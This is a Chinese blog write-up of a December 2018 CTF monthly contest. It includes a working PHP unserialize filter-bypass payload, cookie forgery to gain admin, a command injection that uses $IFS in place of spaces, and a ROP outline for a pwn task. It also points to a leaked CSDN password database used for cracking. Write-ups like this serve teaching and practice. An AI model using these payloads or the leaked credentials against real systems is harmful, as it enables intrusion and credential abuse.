安恒月赛WriteUp-2018.12

14 篇文章 0 订阅
9 篇文章 3 订阅

安恒月赛WriteUp2018-12月

 

WEB1-easy:

web1反序列化

 

一打开就显示了源代码: 

<?php  

@error_reporting(1);

include 'flag.php';

class baby

{   

    public $file;

    function __toString()      

    {          

        if(isset($this->file))

        {

            $filename = "./{$this->file}";        

            if (file_get_contents($filename))         

            {              

                return file_get_contents($filename);

            }

        }     

    }  

}  

if (isset($_GET['data']))  

{

    $data = $_GET['data'];

    preg_match('/[oc]:\d+:/i',$data,$matches);

    if(count($matches))

    {

        die('Hacker!');

    }

    else

    {

        $good = unserialize($data);

        echo $good;

    }     

}

else

{

    highlight_file("./index.php");

}

?>

 

 

自带一个baby类,里面__toString() 中可以用file_get_contents读文件内容:

可以自己本地来测试一下,获取序列化的对象。

<?php  

include 'flag.php';

class baby

{   

    public $file;

    function __toString()      

    {          

        if(isset($this->file))

        {

            $filename = "./{$this->file}";        

            if (file_get_contents($filename))         

            {              

                return file_get_contents($filename);

            }

        }     

    }  

}  



$a = new baby();

$a -> file = "flag.php";

//echo $a->__toString();



echo serialize($a);



?>

 

得到:

O:4:"baby":1:{s:4:"file";s:8:"flag.php";}

 

因为存在过滤出语句

preg_match('/[oc]:\d+:/i',$data,$matches);

 

所以需要绕过,用加号:

O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}

 

但如果直接传值的话会,服务器接收到会把加号认为空格,所以要对加号url编码:

 

O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}

 

http://101.71.29.5:10007/index.php?data=O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}

访问后查看源代码得到:

// $flag = 'flag{ad2328a2c3f0933c053fd3c6f28f6143}';

 

 

 

web2-ezweb2

访问主页的同时,更改cookie字段为admin的base64值:user=YWRtaW4%3D

然后会获得admin的session的进行跳转,同时仍旧要更改cookie为user=YWRtaW4%3D

 

跳转后可以执行命令,但过滤了空格,可绕过,参考:

http://www.itdaan.com/blog/2016/07/14/92caabad181349c513e271d1ff595fee.html

 

ls$IFS/  查看根目录, 发现ffLAG_404文件

cat$IFS/ffLAG_404  

得到:flag{6f1d95159e3b90ed28186c518dd15e8c}

 

 

 

MISC1-变换的指纹:

下载到社工库:ed2k://|file|www.csdn.net.sql|287238395|7C81CC2A2B57411BD107ACFF2BA8DDEE|/ 

提取密码进行爆破,正确密码是双引号中的内容:“!(()!@)6125dou ”,注意密码结尾有个空格。 通过图片获得

23685 28276158 52365 72716835687172857481317

23685528276158852365572716835687172857481317字符串

因为提示8进制:

[23,70,55,30,27,61,60,105,23,65,57,27,16,103,56,107,17,30,57,50,13,17]

尝试进行ascii移位等转换,没有发现flag..... 还差最后一步,没有时间了,尴尬....

 

 

MISC2-签到:

关注公众号,回复flag,回复蜗牛即可。

 

 

MISC3-学习资料:

这是ZIP的明文攻击,可以参考我之前的博客:

https://blog.csdn.net/q851579181q/article/details/84944900

 

有个注意点,月赛群里兄有些弟说没爆破出来可能是用ARCHPR4.5.4进行的爆破,该版本进行明文攻击会有问题,建议使用ARCHPR4.5.3 ,另外使用不同的压缩软件压缩备忘录.txt也会导致最后无法找到明文,详情见上述链接。

密码是:1qazmko098

解压后是个word,在选项设置中设置显示隐藏的字符串,再移开图片,就看见flag了。也可以吧docx的改后缀为zip,解压后在/word/document.xml里可见flag.

 

flag{edaa144c91a4e5b817e4a18cbdb78879}

 

 

MISC4-juju

改宽高,可参考:https://blog.csdn.net/CliffordR/article/details/81123232

把高拉长。

 

 

 

 

这一串是base32加密,解码可得a213072327f762855e475779eb081ca3

 

 

 

BlockChain:

区块链找到了类似的题目:https://www.anquanke.com/post/id/168037

不过来不及做了。

 

 

 

pwn1-messageb0x  

 

 

 

洞在此处,还有一点:

 

函数的汇编是这样的,我不确定ida里给的偏移是否正确,在peda中好探测

gdb调试:

 

 

 

 

b *0x080492e2

 

 

r:

 

 

 

92:

 

 

 

思路:

没有在程序中发现system函数,也没有/bin/sh 

 

1.没有system,选择用int80来做:

 

 ROPgadget --binary messageb0x | grep "int 0x80":

 

没有找到:

 

/bin/sh:

 

也木有

 

换思路:

 

 

1.泄露puts函数地址

2.获取libc版本号

3.获取/bin/sh地址

4.payload:

 

得到:

flag{88a489d281af671c4d79d31d47280123}

 

 

这里个人感觉有些小坑,刚开始ret用的main的,但是打exp卡住,后来看函数汇编:

 

 

 

不是leave;ret的,构造的main rop打不了,后来换了process_info,绕过了main的 ret,打成功了,记得要常看代码的汇编。。。。

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值